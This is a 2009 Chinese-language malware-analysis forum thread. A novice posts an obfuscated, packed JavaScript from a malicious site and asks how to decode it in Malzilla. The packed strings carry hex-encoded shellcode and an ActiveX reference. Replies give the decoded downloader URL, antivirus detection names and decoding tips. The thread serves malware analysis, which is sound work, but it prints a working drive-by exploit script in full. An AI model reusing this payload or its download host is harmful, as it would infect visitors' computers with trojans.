3736ff.cn/sina/bf.js

virusfans

Hi All,
我用Malzilla 開這個script
看到eval(function(p,a,c,k,e,d) 請問這要如何解開呢 ?
內容如下,請大家教我一下
我是新手.謝謝

1. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0 c="n-";0 5="m";0 4="p"+"8";0 3="6-l";0 b="j"+"d:6";0 g="k";0 9="o";0 a="w-q-";0 7="x";0 1=b+7;0 i=9+5;0 2=c+4;0 f=1+2;0 h=3+a+g;0 e=h+i;0 t=f+e;0 r=u["v"]("s");',34,34,'var|jusgu123x|jusgu123xx|jusgu1234b|jusgu1234a|jusgu12345c||jusgu123a||jusgu12345b|jusgu12345|jusgu123|jusgu1234||jusgu123w|jusgu123ww|jusgu12345a|jusgu123b|jusgu123bb|clsi|1A85A|47|9FB|52E1D|9B4D|E5|A6E2|justpkss11coodd|Game54EBGame758BGame8B3CGame3574Game0378Game56F5Game768BGame0320Game33F5Game49C9GameAD41GameDB33Game0F36Game14BEGame3828Game74F2GameC108Game0DCBGameDA03GameEB40Game3BEFGame75DFGame5EE7Game5E8BGame0324Game66DDGame0C8BGame8B4BGame1C5EGameDD03Game048BGame038BGameC3C5Game7275Game6D6CGame6E6FGame642EGame6C6CGame4300Game5C3AGame2e55Game7865Game0065GameC033Game0364Game3040Game0C78Game408BGame8B0CGame1C70Game8BADGame0840Game09EBGame408BGame8D34Game7C40Game408BGame953CGame8EBFGame0E4EGameE8ECGameFF84GameFFFFGameEC83Game8304Game242CGameFF3CGame95D0GameBF50Game1A36Game702FGame6FE8GameFFFFGame8BFFGame2454Game8DFCGameBA52GameDB33Game5353GameEB52Game5324GameD0FFGameBF5DGameFE98Game0E8AGame53E8GameFFFFGame83FFGame04ECGame2C83Game6224GameD0FFGame7EBFGameE2D8GameE873GameFF40GameFFFFGameFF52GameE8D0GameFFD7GameFFFFGame7468Game7074Game2f3aGame782fGame6e69Game6166Game2e38Game6f63Game2f6dGame6978Game2f61Game3166Game632eGame7373Game0000|dsffads|window|unescape|4f|BE'.split('|'),0,{}))

复制代码

[ 本帖最后由 granthill 于 2009-4-30 20:56 编辑 ]

cchao21

解完后得到地址：hxxp://xinfa8.com/xia/f1.css

328397663

原帖由 cchao21 于 2009-4-27 15:36 发表
解完后得到地址：hxxp://xinfa8.com/xia/f1.css

AntiVir

7.9.0.156

7.1.3.113

2009-04-27

TR/Killav.PN

卡巴斯基

5.5.10

2009.04.27

2009-04-27

Trojan.Win32.AntiAV.bcr

f1.css - Trojan.Win32.AntiAV.bcr
This file is already detected. Please update your antivirus bases.

[ 本帖最后由 328397663 于 2009-4-27 16:22 编辑 ]

granthill

复制代码到 "decoder" 栏 然后 "run script"

zxcchenenyi

复制代码到 "decoder" 栏 然后 "run script"

said411f

威脅報告
找到的威脅總數: 1


  病毒 (這是什麼?)
已找到威脅: 1
以下是完整的清單:

威脅名稱:  Downloader  
位置:  http://3736ff.cn/sina/Qvod.htm

bsczy

我打开这个页面 小A就报毒

bsczy

我又试了下  一开页面小A就报毒